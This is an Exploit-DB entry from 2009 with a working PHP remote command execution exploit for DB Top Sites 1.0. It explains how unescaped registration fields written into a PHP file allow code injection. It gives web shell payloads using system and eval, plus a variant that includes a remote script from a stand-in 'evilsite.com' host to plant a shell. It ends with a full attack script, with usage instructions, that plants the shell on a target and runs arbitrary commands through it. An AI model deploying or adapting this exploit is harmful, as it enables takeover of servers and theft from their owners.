Exploit-DB #8951
Description: DB Top Sites 1.0 - Remote Command Execution
Type: webapps
Platform: php
Date: 2009-06-15
Author: SirGod

Exploit:
<?php
/*

------------------------------------------------------------

[+] About 

DB Top Sites v1.0 Remote Command Execution Exploit
Script homepage : http://www.jnmsolutions.co.uk/topsites/
Author : SirGod
Thanks to : Nytro
Website : www.mortal-team.org

------------------------------------------------------------

[+] Usage 

Upload the file to an webhost and access it.
Site : the target website (WITH TRAILING SLASH)
Command : the command that you want to execute
Click Execute.The command output will be diplayed.
After you executed the exploit once,the file can't be 
replaced ( because the exploit create it by registering )
and just hit the link in the top of the page
and go back to execute another command.

------------------------------------------------------------
[+] Explanation 

Lets take a look in add_reg.php

Lines 14 - 22

----------------------------------

$user = $_POST['user'];
$pass1 = $_POST['pass1'];
$pass2 = $_POST['pass2'];
$email1 = $_POST['email1'];
$email2 = $_POST['email2'];
$location = $_POST['location'];
$url = $_POST['url'];

$filename = "./sites/".$user.".php";

-----------------------------------

We can see that the script creates a php file ( username.php ),
in our case,pwned.php.The script save all the user data in that
file so we can inject our evil code into one field ( I chosen 
the location field.

Lines 112 - 121

----------------------------------

$html = "<?php
\$regdate = \"$date\";
\$user = \"$user\";
\$pass = \"$pass1\";
\$email = \"$email1\";
\$location = \"$location\";
\$url = \"$url\";
?>";
$fp = fopen($filename, 'a+');
fputs($fp, $html) or die("Could not open file!");

---------------------------------

We see how data is added in the file,the variables
including our evil code.

So if we register as an user with the location :

\";?><?php system(\$_GET['cmd']);?><?php \$xxx=\":D

the code inside the php file ( pwned.php ) will
look like this : 

----------------------------------
<?php
$regdate = "13 June 2009, 4:16 PM";
$user = "pwned";
$pass = "pwned";
$email = "pwned@yahoo.com";
$location = "";?><?php system($_GET['cmd']);?><?php $xxx=":D";
$url = "http://pwned.com";$plm=":)";
?>
---------------------------------

So we can succesfully execute our commands.

------------------------------------------------------------

[+] Notes 

You can change my PHP code ( $codphp ) with what you want.
Example : 

$codphp = "\";?><?php eval(\$_GET['cmd']);?><?php \$xxx=\":D";

And you will be able to execute PHP code.

Example 2 :

$codphp = "\";?><?php include "http://evilsite.com/evilscript.txt";?><?php \$xxx=\":D";

To include your evil script (shell).

Session is used to verify if the exploit was launched 
previously and if was launched previously the exploit
will NOT try anymore to create the file and will let
you to execute your commands.

------------------------------------------------------------

*/

session_start();
error_reporting(0);

if(isset($_POST['submit']))
{
if(!isset($_SESSION['done']))
{
$codphp = "\";?><?php system(\$_GET['cmd']);?><?php \$xxx=\":D";
define('POSTVARS','user=pwned&pass1=pwned&pass2=pwned&email1=pwned@yahoo.com&email2=pwned@yahoo.com&url=http://pwned.com";$plm=":)&location='.$codphp); 

$site = $_POST['site'];

$ch = curl_init($site . "add_reg.php");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, POSTVARS);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0); 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
$data = curl_exec($ch);
$_SESSION['done'] = 1;
}
$site = $_POST['site'];
$result = file_get_contents($site . "sites/pwned.php?cmd=" . $_POST['cmd']);
print "<a href=\"javascript:history.back();\">Click here to go back and execute another command</a><br /><br />";
print "Command result: <br /><br />" . nl2br($result) . "<br /><br />";
}

else
{

?>

<form method="post">
Site: <input type="text" name="site" value="http://127.0.0.1/path/" /><br />
Command: <input type="text" name="cmd" value="whoami" /><br /><br />
<input type="submit" name="submit" value="Execute" />
</form>

<?php

}

?>

# milw0rm.com [2009-06-15]